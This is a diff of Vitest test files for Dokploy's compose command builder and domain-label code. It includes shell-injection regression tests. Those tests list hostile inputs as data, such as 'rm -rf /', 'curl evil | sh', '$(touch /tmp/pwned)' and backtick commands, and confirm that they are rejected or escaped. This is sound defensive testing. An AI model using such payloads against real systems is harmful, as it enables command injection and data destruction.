|
||||
it("escapes composePath (stack deploy)", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composeType: "stack",
|
||||
sourceType: "github",
|
||||
composePath: p,
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("escapes appName", () => {
|
||||
for (const p of PAYLOADS) {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
appName: p,
|
||||
composePath: "docker-compose.yml",
|
||||
} as any);
|
||||
expect(runsSafely(cmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a custom command containing shell control characters", () => {
|
||||
for (const bad of [
|
||||
"up -d; rm -rf /",
|
||||
"up && curl evil | sh",
|
||||
"up $(touch x)",
|
||||
"up `id`",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("allows a legitimate custom command", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose -f docker-compose.yml -p app up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
|
||||
});
|
||||
|
||||
it("keeps a legitimate composePath intact", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
sourceType: "github",
|
||||
composePath: "deploy/docker-compose.prod.yml",
|
||||
} as any);
|
||||
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
|
||||
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
|
||||
"deploy/docker-compose.prod.yml",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chained docker compose commands with '&&'", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command:
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe(
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chaining with the legacy 'docker-compose' spelling", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose pull && docker-compose down",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose pull && docker-compose down");
|
||||
});
|
||||
|
||||
it("rejects a single '&' used for backgrounding", () => {
|
||||
expect(() =>
|
||||
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects a malformed '&&&' chain", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull &&& docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects chained segments that are not docker compose invocations", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && rm -rf /",
|
||||
} as any),
|
||||
).toThrow(/must strictly start with 'docker compose '/);
|
||||
});
|
||||
|
||||
it("rejects an attempted injection smuggled inside a chained segment", () => {
|
||||
for (const bad of [
|
||||
"compose pull && docker compose up -d; touch /tmp/pwn",
|
||||
"compose pull && docker compose up -d $(touch /tmp/pwn)",
|
||||
"compose pull && docker compose up -d `touch /tmp/pwn`",
|
||||
"compose pull && docker compose up -d | touch /tmp/pwn",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && curl evil.sh | docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Invalid characters/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,123 @@
|
||||
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const base = {
|
||||
composeType: "docker-compose" as const,
|
||||
appName: "compose-app",
|
||||
sourceType: "github" as const,
|
||||
command: "",
|
||||
};
|
||||
|
||||
describe("compose createCommand --project-directory", () => {
|
||||
it("pins --project-directory to the code dir when composePath is nested", () => {
|
||||
const cmd = createCommand(
|
||||
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).toContain(
|
||||
"--project-directory /etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
expect(cmd).toContain("-f ./deploy/docker-compose.yml");
|
||||
});
|
||||
|
||||
it("omits --project-directory when no projectPath is passed", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composePath: "./deploy/docker-compose.yml",
|
||||
} as any);
|
||||
|
||||
expect(cmd).not.toContain("--project-directory");
|
||||
});
|
||||
|
||||
it("does not add --project-directory to stack deploy (unsupported flag)", () => {
|
||||
const cmd = createCommand(
|
||||
{
|
||||
...base,
|
||||
composeType: "stack",
|
||||
composePath: "./deploy/docker-compose.yml",
|
||||
} as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).not.toContain("--project-directory");
|
||||
expect(cmd.startsWith("stack deploy")).toBe(true);
|
||||
});
|
||||
|
||||
it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => {
|
||||
const cmd = createCommand(
|
||||
{ ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).toContain(
|
||||
"--project-directory /etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
expect(cmd).toContain("-f docker-compose.yml");
|
||||
});
|
||||
|
||||
it("resolves build.context against the compose file's own directory when there are no mounts", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composePath: "./backend/docker-compose.yml",
|
||||
} as any);
|
||||
|
||||
expect(cmd).not.toContain("--project-directory");
|
||||
expect(cmd).toContain("-f ./backend/docker-compose.yml");
|
||||
});
|
||||
});
|
||||
|
||||
describe("compose createCommand --env-file", () => {
|
||||
it("points --env-file at the generated .env next to a nested compose file", () => {
|
||||
const cmd = createCommand(
|
||||
{
|
||||
...base,
|
||||
composePath: "./deploy/docker-compose.yml",
|
||||
createEnvFile: true,
|
||||
} as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).toContain("--env-file deploy/.env");
|
||||
expect(cmd).toContain(
|
||||
"--project-directory /etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
});
|
||||
|
||||
it("omits --env-file when createEnvFile is disabled", () => {
|
||||
const cmd = createCommand(
|
||||
{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).not.toContain("--env-file");
|
||||
});
|
||||
|
||||
it("uses the code-root .env for raw sourceType", () => {
|
||||
const cmd = createCommand(
|
||||
{
|
||||
...base,
|
||||
sourceType: "raw",
|
||||
composePath: "docker-compose.yml",
|
||||
createEnvFile: true,
|
||||
} as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).toContain("--env-file .env");
|
||||
});
|
||||
|
||||
it("does not add --env-file to stack deploy (unsupported flag)", () => {
|
||||
const cmd = createCommand(
|
||||
{
|
||||
...base,
|
||||
composeType: "stack",
|
||||
composePath: "./deploy/docker-compose.yml",
|
||||
createEnvFile: true,
|
||||
} as any,
|
||||
"/etc/dokploy/compose/compose-app/code",
|
||||
);
|
||||
|
||||
expect(cmd).not.toContain("--env-file");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,44 @@
|
||||
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const base = {
|
||||
composeType: "docker-compose" as const,
|
||||
appName: "compose-app",
|
||||
sourceType: "github" as const,
|
||||
composePath: "./docker-compose.yml",
|
||||
command: "",
|
||||
};
|
||||
|
||||
describe("compose createCommand --pull always", () => {
|
||||
it("adds --pull always when pullImages is enabled", () => {
|
||||
const cmd = createCommand({ ...base, pullImages: true } as any);
|
||||
|
||||
expect(cmd).toContain("up -d --build --remove-orphans --pull always");
|
||||
});
|
||||
|
||||
it("omits --pull when pullImages is disabled", () => {
|
||||
const cmd = createCommand({ ...base, pullImages: false } as any);
|
||||
|
||||
expect(cmd).not.toContain("--pull");
|
||||
});
|
||||
|
||||
it("does not add --pull to stack deploy", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
composeType: "stack",
|
||||
pullImages: true,
|
||||
} as any);
|
||||
|
||||
expect(cmd).not.toContain("--pull");
|
||||
});
|
||||
|
||||
it("leaves a custom command untouched", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose -p compose-app up -d",
|
||||
pullImages: true,
|
||||
} as any);
|
||||
|
||||
expect(cmd).toBe("compose -p compose-app up -d");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,69 @@
|
||||
import { parse } from "shell-quote";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
|
||||
// "exists" but does not contain the attacker's service, forcing the error path
|
||||
// whose message embeds the user-controlled serviceName.
|
||||
vi.mock("node:fs", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("node:fs")>();
|
||||
return {
|
||||
...actual,
|
||||
existsSync: () => true,
|
||||
readFileSync: () => "services:\n web:\n image: nginx\n",
|
||||
};
|
||||
});
|
||||
|
||||
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
|
||||
const baseCompose = {
|
||||
appName: "my-app",
|
||||
serverId: null,
|
||||
composeType: "docker-compose",
|
||||
sourceType: "raw",
|
||||
composePath: "docker-compose.yml",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
} as any;
|
||||
|
||||
const makeDomain = (serviceName: string) =>
|
||||
({
|
||||
host: "example.com",
|
||||
serviceName,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
port: 3000,
|
||||
enabled: true,
|
||||
}) as any;
|
||||
|
||||
// If the returned shell fragment is safe, parse() yields only string tokens.
|
||||
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
|
||||
const leaksShellSyntax = (command: string, marker: string) =>
|
||||
parse(command).some(
|
||||
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
|
||||
);
|
||||
|
||||
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
|
||||
it("does not let a malicious serviceName inject shell operators", async () => {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain("$(touch /tmp/pwned)"),
|
||||
]);
|
||||
|
||||
// The service does not exist in the compose, so we hit the error branch.
|
||||
expect(result).toContain("Has occurred an error");
|
||||
// The payload text may appear inside the single-quoted echo argument, but
|
||||
// it must never parse as a shell operator ($(), backtick, ; …).
|
||||
expect(leaksShellSyntax(result, "touch")).toBe(false);
|
||||
});
|
||||
|
||||
it("neutralizes backtick and semicolon payloads too", async () => {
|
||||
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
|
||||
const result = await writeDomainsToCompose(baseCompose, [
|
||||
makeDomain(`svc${payload}`),
|
||||
]);
|
||||
expect(leaksShellSyntax(result, "rm")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "curl")).toBe(false);
|
||||
expect(leaksShellSyntax(result, "id")).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,306 @@
|
||||
import type { Compose } from "@dokploy/server/services/compose";
|
||||
import type { Domain } from "@dokploy/server/services/domain";
|
||||
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// With sourceType "raw", addDomainToCompose parses compose.composeFile
|
||||
// directly instead of reading from disk, so baseCompose exposes it as a
|
||||
// getter that always reflects the current composeYaml for each test case.
|
||||
const baseComposeYaml = `
|
||||
services:
|
||||
frigate:
|
||||
image: frigate
|
||||
`;
|
||||
let composeYaml = baseComposeYaml;
|
||||
|
||||
const baseCompose = {
|
||||
appName: "test-app",
|
||||
composeType: "docker-compose",
|
||||
composePath: "docker-compose.yml",
|
||||
sourceType: "raw",
|
||||
serverId: null,
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
get composeFile() {
|
||||
return composeYaml;
|
||||
},
|
||||
} as unknown as Compose;
|
||||
|
||||
const baseDomain: Domain = {
|
||||
host: "frigate.example.com",
|
||||
port: 8971,
|
||||
customEntrypoint: null,
|
||||
https: false,
|
||||
uniqueConfigKey: 1,
|
||||
customCertResolver: null,
|
||||
certificateType: "none",
|
||||
applicationId: "",
|
||||
composeId: "compose-id",
|
||||
domainType: "compose",
|
||||
serviceName: "frigate",
|
||||
domainId: "domain-id",
|
||||
path: "/",
|
||||
createdAt: "",
|
||||
previewDeploymentId: "",
|
||||
internalPath: "/",
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
const serviceLabels = (
|
||||
result: Awaited<ReturnType<typeof addDomainToCompose>>,
|
||||
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
|
||||
|
||||
describe("addDomainToCompose enabled filtering", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
composeYaml = baseComposeYaml;
|
||||
});
|
||||
|
||||
it("generates traefik labels for an enabled domain", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, enabled: true },
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels).toContain("traefik.enable=true");
|
||||
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||
true,
|
||||
);
|
||||
});
|
||||
|
||||
it("skips a disabled domain entirely (no traefik labels)", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels).not.toContain("traefik.enable=true");
|
||||
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
- traefik.enable=true
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||
- custom.label=preserved
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
- traefik.enable=true
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
|
||||
- custom.label=preserved
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale labels for a disabled domain from %s rebuilds",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toContain("custom.label=preserved");
|
||||
expect(
|
||||
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
legacy:
|
||||
image: frigate
|
||||
labels:
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- custom.label=preserved
|
||||
frigate:
|
||||
image: frigate
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
legacy:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
|
||||
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
|
||||
- custom.label=preserved
|
||||
frigate:
|
||||
image: frigate
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale labels from the previous %s service after reassignment",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, serviceName: "frigate", enabled: false },
|
||||
]);
|
||||
|
||||
const previousService = result?.services?.legacy;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? previousService?.labels
|
||||
: previousService?.deploy?.labels;
|
||||
expect(labels).toContain("custom.label=preserved");
|
||||
expect(
|
||||
(labels as string[]).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||
custom.label: preserved
|
||||
`,
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
|
||||
custom.label: preserved
|
||||
`,
|
||||
],
|
||||
] as const)(
|
||||
"removes stale mapping labels for a disabled domain from %s rebuilds",
|
||||
async (composeType, staleComposeYaml) => {
|
||||
composeYaml = staleComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: false },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toMatchObject({ "custom.label": "preserved" });
|
||||
expect(
|
||||
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
|
||||
).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
"docker-compose",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
custom.label: preserved
|
||||
`,
|
||||
"traefik.docker.network",
|
||||
],
|
||||
[
|
||||
"stack",
|
||||
`services:
|
||||
frigate:
|
||||
image: frigate
|
||||
deploy:
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
|
||||
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
|
||||
custom.label: preserved
|
||||
`,
|
||||
"traefik.swarm.network",
|
||||
],
|
||||
] as const)(
|
||||
"regenerates routing in mapping labels for an enabled domain in %s",
|
||||
async (composeType, mappingComposeYaml, networkLabel) => {
|
||||
composeYaml = mappingComposeYaml;
|
||||
|
||||
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
|
||||
{ ...baseDomain, enabled: true },
|
||||
]);
|
||||
|
||||
const service = result?.services?.frigate;
|
||||
const labels =
|
||||
composeType === "docker-compose"
|
||||
? service?.labels
|
||||
: service?.deploy?.labels;
|
||||
expect(labels).toMatchObject({
|
||||
"custom.label": "preserved",
|
||||
"traefik.enable": "true",
|
||||
[networkLabel]: "dokploy-network",
|
||||
"traefik.http.routers.test-app-1-web.rule":
|
||||
"Host(`frigate.example.com`)",
|
||||
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("emits labels only for the enabled domain when both are present", async () => {
|
||||
const result = await addDomainToCompose(baseCompose, [
|
||||
{ ...baseDomain, host: "enabled.example.com", enabled: true },
|
||||
{
|
||||
...baseDomain,
|
||||
host: "disabled.example.com",
|
||||
uniqueConfigKey: 2,
|
||||
enabled: false,
|
||||
},
|
||||
]);
|
||||
|
||||
const labels = serviceLabels(result);
|
||||
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
|
||||
true,
|
||||
);
|
||||
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -34,6 +34,8 @@ describe("Host rule format regression tests", () => {
|
||||
stripPath: false,
|
||||
customEntrypoint: null,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
describe("Host rule format validation", () => {
|
||||
|
||||
@@ -23,6 +23,8 @@ describe("createDomainLabels", () => {
|
||||
internalPath: "/",
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
it("should create basic labels for web entrypoint", async () => {
|
||||
@@ -103,6 +105,51 @@ describe("createDomainLabels", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("should add tls=true for certificateType none on websecure entrypoint", async () => {
|
||||
const noneDomain = {
|
||||
...baseDomain,
|
||||
https: true,
|
||||
certificateType: "none" as const,
|
||||
};
|
||||
const labels = await createDomainLabels(appName, noneDomain, "websecure");
|
||||
expect(labels).toContain(
|
||||
"traefik.http.routers.test-app-1-websecure.tls=true",
|
||||
);
|
||||
// no cert resolver should be set when relying on a default/custom cert
|
||||
expect(labels).not.toContain(
|
||||
"traefik.http.routers.test-app-1-websecure.tls.certresolver=letsencrypt",
|
||||
);
|
||||
});
|
||||
|
||||
it("should not add tls=true for certificateType none on web entrypoint", async () => {
|
||||
const noneDomain = {
|
||||
...baseDomain,
|
||||
https: true,
|
||||
certificateType: "none" as const,
|
||||
};
|
||||
const labels = await createDomainLabels(appName, noneDomain, "web");
|
||||
expect(labels).not.toContain(
|
||||
"traefik.http.routers.test-app-1-web.tls=true",
|
||||
);
|
||||
});
|
||||
|
||||
it("should add tls=true for certificateType none on a custom https entrypoint", async () => {
|
||||
const noneDomain = {
|
||||
...baseDomain,
|
||||
https: true,
|
||||
customEntrypoint: "websecure-custom",
|
||||
certificateType: "none" as const,
|
||||
};
|
||||
const labels = await createDomainLabels(
|
||||
appName,
|
||||
noneDomain,
|
||||
"websecure-custom",
|
||||
);
|
||||
expect(labels).toContain(
|
||||
"traefik.http.routers.test-app-1-websecure-custom.tls=true",
|
||||
);
|
||||
});
|
||||
|
||||
it("should handle different ports correctly", async () => {
|
||||
const customPortDomain = { ...baseDomain, port: 3000 };
|
||||
const labels = await createDomainLabels(appName, customPortDomain, "web");
|
||||
|
||||
@@ -0,0 +1,133 @@
|
||||
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
|
||||
...(await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>()),
|
||||
execAsyncRemote: vi.fn(),
|
||||
}));
|
||||
|
||||
describe("raw remote compose conversion (#4794)", () => {
|
||||
it("uses the saved raw source and preserves supported mount syntax", async () => {
|
||||
vi.mocked(execAsyncRemote).mockResolvedValue({
|
||||
stdout: "services:\n test:\n image: alpine:latest\n",
|
||||
stderr: "",
|
||||
});
|
||||
|
||||
const compose = {
|
||||
appName: "raw-stack",
|
||||
composeFile: `
|
||||
services:
|
||||
test:
|
||||
image: alpine:latest
|
||||
volumes:
|
||||
- type: tmpfs
|
||||
target: /scratch
|
||||
- type: volume
|
||||
source: test-data
|
||||
target: /data
|
||||
tmpfs:
|
||||
- /cache
|
||||
volumes:
|
||||
test-data:
|
||||
`,
|
||||
composeId: "compose-1",
|
||||
name: "raw-stack",
|
||||
composePath: "./docker-compose.yml",
|
||||
composeType: "stack",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
project: { name: "shop", organizationId: "org-1" },
|
||||
},
|
||||
isolatedDeployment: false,
|
||||
isolatedDeploymentsVolume: false,
|
||||
randomize: false,
|
||||
serverId: "remote-server",
|
||||
sourceType: "raw",
|
||||
suffix: "",
|
||||
} as unknown as Parameters<typeof addDomainToCompose>[0];
|
||||
|
||||
const converted = await addDomainToCompose(compose, []);
|
||||
|
||||
expect(converted?.services?.test?.volumes).toEqual([
|
||||
{ type: "tmpfs", target: "/scratch" },
|
||||
{
|
||||
type: "volume",
|
||||
source: "test-data",
|
||||
target: "/data",
|
||||
},
|
||||
]);
|
||||
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
|
||||
expect(converted?.services?.test?.labels).toEqual(
|
||||
expect.arrayContaining([
|
||||
"dokploy.organization.id=org-1",
|
||||
"dokploy.project=shop",
|
||||
"dokploy.service=test",
|
||||
]),
|
||||
);
|
||||
expect(converted?.services?.test?.deploy?.labels).toEqual(
|
||||
expect.arrayContaining(["dokploy.organization.id=org-1"]),
|
||||
);
|
||||
expect(execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("escapes `$` in the Dokploy label values so compose keeps them literal", async () => {
|
||||
const compose = {
|
||||
appName: "dollar-stack",
|
||||
composeFile: `
|
||||
services:
|
||||
mapped:
|
||||
image: alpine:latest
|
||||
labels:
|
||||
custom: keep
|
||||
deploy:
|
||||
labels:
|
||||
custom: keep
|
||||
listed:
|
||||
image: alpine:latest
|
||||
labels:
|
||||
- custom=keep
|
||||
`,
|
||||
composeId: "compose-1",
|
||||
name: "app $DB_PASSWORD",
|
||||
composePath: "./docker-compose.yml",
|
||||
composeType: "stack",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
name: "env ${HOME}",
|
||||
projectId: "project-1",
|
||||
project: { name: "Budget $100", organizationId: "org-1" },
|
||||
},
|
||||
isolatedDeployment: false,
|
||||
isolatedDeploymentsVolume: false,
|
||||
randomize: false,
|
||||
serverId: null,
|
||||
sourceType: "raw",
|
||||
suffix: "",
|
||||
} as unknown as Parameters<typeof addDomainToCompose>[0];
|
||||
|
||||
const converted = await addDomainToCompose(compose, []);
|
||||
const escaped = {
|
||||
"dokploy.project": "Budget $$100",
|
||||
"dokploy.environment": "env $${HOME}",
|
||||
"dokploy.application": "app $$DB_PASSWORD",
|
||||
};
|
||||
|
||||
const mapped = converted?.services?.mapped;
|
||||
expect(mapped?.labels).toMatchObject({ custom: "keep", ...escaped });
|
||||
expect(mapped?.deploy?.labels).toMatchObject({
|
||||
custom: "keep",
|
||||
...escaped,
|
||||
});
|
||||
const listed = converted?.services?.listed;
|
||||
const asList = Object.entries(escaped).map(([k, v]) => `${k}=${v}`);
|
||||
expect(listed?.labels).toEqual(
|
||||
expect.arrayContaining(["custom=keep", ...asList]),
|
||||
);
|
||||
expect(listed?.deploy?.labels).toEqual(expect.arrayContaining(asList));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,111 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
|
||||
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
|
||||
const appName = `env-file-literals-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
|
||||
afterEach(() => {
|
||||
try {
|
||||
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
|
||||
cwd: codePath,
|
||||
stdio: "ignore",
|
||||
});
|
||||
} catch {
|
||||
// Project may not have been created (e.g. an earlier assertion failed).
|
||||
}
|
||||
rmSync(projectPath, { force: true, recursive: true });
|
||||
});
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: '!"#$%&/()=?',
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: "abc#de",
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
|
||||
APP_URL: "https://example.com",
|
||||
ASSET_URL: "https://example.com",
|
||||
DB_HOST: "localhost",
|
||||
};
